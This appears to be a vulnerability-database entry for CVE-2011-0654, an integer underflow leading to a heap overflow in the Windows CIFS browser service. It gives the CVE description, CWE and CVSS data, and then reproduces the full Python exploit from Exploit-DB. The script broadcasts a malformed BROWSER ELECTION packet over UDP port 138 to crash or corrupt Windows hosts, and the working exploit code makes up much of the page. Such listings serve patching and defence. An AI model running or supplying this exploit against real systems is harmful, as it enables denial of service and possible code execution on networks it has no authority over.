CVE-2011-0654 Detail

CVE-2011-0654

CVE Descriptions

Integer underflow in the BowserWriteErrorLogEntry function in the Common Internet File System (CIFS) browser service in Mrxsmb.sys or bowser.sys in Active Directory in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 allows remote attackers to execute arbitrary code or cause a denial of service (system crash) via a malformed BROWSER ELECTION message, leading to a heap-based buffer overflow, aka "Browser Pool Corruption Vulnerability." NOTE: some of these details are obtained from third party information.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	10		AV:N/AC:L/Au:N/C:C/I:C/A:C	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 16166

Publication date : 2011-02-13 23h00 +00:00
Author : Cupidon-3005
EDB Verified : Yes

#################################################################################### #MS Windows Server 2003 AD Pre-Auth BROWSER ELECTION Remote Heap Overflow #Release date: 2011-02-14 #Author: Cupidon-3005 #Greet: Winny Thomas, Laurent Gaffie, h07 #Bug: Heap Overflow #Remote Exploitability: Unlikely #Local Exploitability: Likely #Context: Broadcast, Pre-Auth ##################################################################################### #Mrxsmb.sys, around BowserWriteErrorLog+0x175, while trying to copy 1go from ESI to EDI ... #Code will look something like this: #if ((Len + 1) * sizeof(WCHAR)) > TotalBufferSize) { Len = TotalSize/sizeof(WCHAR) - 1; } #-1 causes Len to go 0xFFFFFFFF #Feel free to reuse this code without restrictions... import socket,sys,struct from socket import * if len(sys.argv)<=4: sys.exit("""usage: python sploit.py UR-IP BCAST-IP NBT-NAME AD-NAME example: python sploit.py 192.168.1.10 192.168.1.255 OhYeah AD-NETBIOS-NAME""") ourip = sys.argv[1] host = sys.argv[2] srcname = sys.argv[3].upper() dstname = sys.argv[4].upper() ELEC = "\x42\x4f\x00" WREDIR = "\x41\x41\x00" def encodename(nbt,service): final = '\x20'+''.join([chr((ord(i)>>4) + ord('A'))+chr((ord(i)&0xF) + ord('A')) for i in nbt])+((15 - len(nbt)) * str('\x43\x41'))+service return final def lengthlittle(packet,addnum): length = struct.pack("<i", len(packet)+addnum)[0:2] return length def lengthbig(packet,addnum): length = struct.pack(">i", len(packet)+addnum)[2:4] return length def election(srcname): elec = "\x08" elec+= "\x09" #Be the boss or die elec+= "\xa8\x0f\x01\x20" #Be the boss or die elec+= "\x1b\xe9\xa5\x00" #Up time elec+= "\x00\x00\x00\x00" #Null, like SDLC elec+= srcname+"\x00" return elec def smbheaderudp(op="\x25"): smbheader= "\xff\x53\x4d\x42" smbheader+= op smbheader+= "\x00" smbheader+= "\x00" smbheader+= "\x00\x00" smbheader+= "\x00" smbheader+= "\x00\x00" smbheader+= "\x00\x00" smbheader+= "\x00\x00\x00\x00\x00\x00\x00\x00" smbheader+= "\x00\x00" smbheader+= "\x00\x00" smbheader+= "\x00\x00" smbheader+= "\x00\x00" smbheader+= "\x00\x00" return smbheader def trans2mailslot(tid="\x80\x0b",ip=ourip,sname="LOVE-SDL",dname="SRD-LOVE",namepipe="\MAILSLOT\BROWSE",srcservice="\x41\x41\x00",dstservice="\x41\x41\x00",pbrowser=""): packetbrowser = pbrowser packetmailslot = "\x01\x00" packetmailslot+= "\x00\x00" packetmailslot+= "\x02\x00" packetmailslot+= lengthlittle(packetbrowser+namepipe,4) packetmailslot+= namepipe +"\x00" packetdatagram = "\x11" packetdatagram+= "\x02" packetdatagram+= tid packetdatagram+= inet_aton(ip) packetdatagram+= "\x00\x8a" packetdatagram+= "\x00\xa7" packetdatagram+= "\x00\x00" packetdatagramname = encodename(sname,srcservice) packetdatagramname+= encodename(dname,dstservice) smbheader= smbheaderudp("\x25") packetrans2 = "\x11" packetrans2+= "\x00\x00" packetrans2+= lengthlittle(packetbrowser,0) packetrans2+= "\x00\x00" packetrans2+= "\x00\x00" packetrans2+= "\x00" packetrans2+= "\x00" packetrans2+= "\x00\x00" packetrans2+= "\xe8\x03\x00\x00" packetrans2+= "\x00\x00" packetrans2+= "\x00\x00" packetrans2+= "\x00\x00" packetrans2+= lengthlittle(packetbrowser,0) packetrans2+= lengthlittle(smbheader+packetrans2+packetmailslot,4) packetrans2+= "\x03" packetrans2+= "\x00" andoffset = lengthlittle(smbheader+packetrans2+packetmailslot,2) lengthcalc = packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser packetfinal = packetdatagram+packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser packetotalength = list(packetfinal) packetotalength[10:12] = lengthbig(lengthcalc,0) packetrans2final = ''.join(packetotalength) return packetrans2final def sockbroad(host,sourceservice,destservice,packet): s = socket(AF_INET,SOCK_DGRAM) s.setsockopt(SOL_SOCKET, SO_BROADCAST,1) s.bind(('0.0.0.0', 138)) try: packsmbheader = smbheaderudp("\x25") buffer0 = trans2mailslot(tid="\x80\x22",ip=ourip,sname=srcname,dname=dstname,namepipe="\MAILSLOT\BROWSER",srcservice=sourceservice, dstservice=destservice, pbrowser=packet) s.sendto(buffer0,(host,138)) except: print "expected SDL error:", sys.exc_info()[0] raise sockbroad(host,WREDIR,ELEC,election("A" * 410)) # -> Zing it! (between ~60->410) print "Happy St-Valentine Bitches\nMSFT found that one loooooooong time ago...."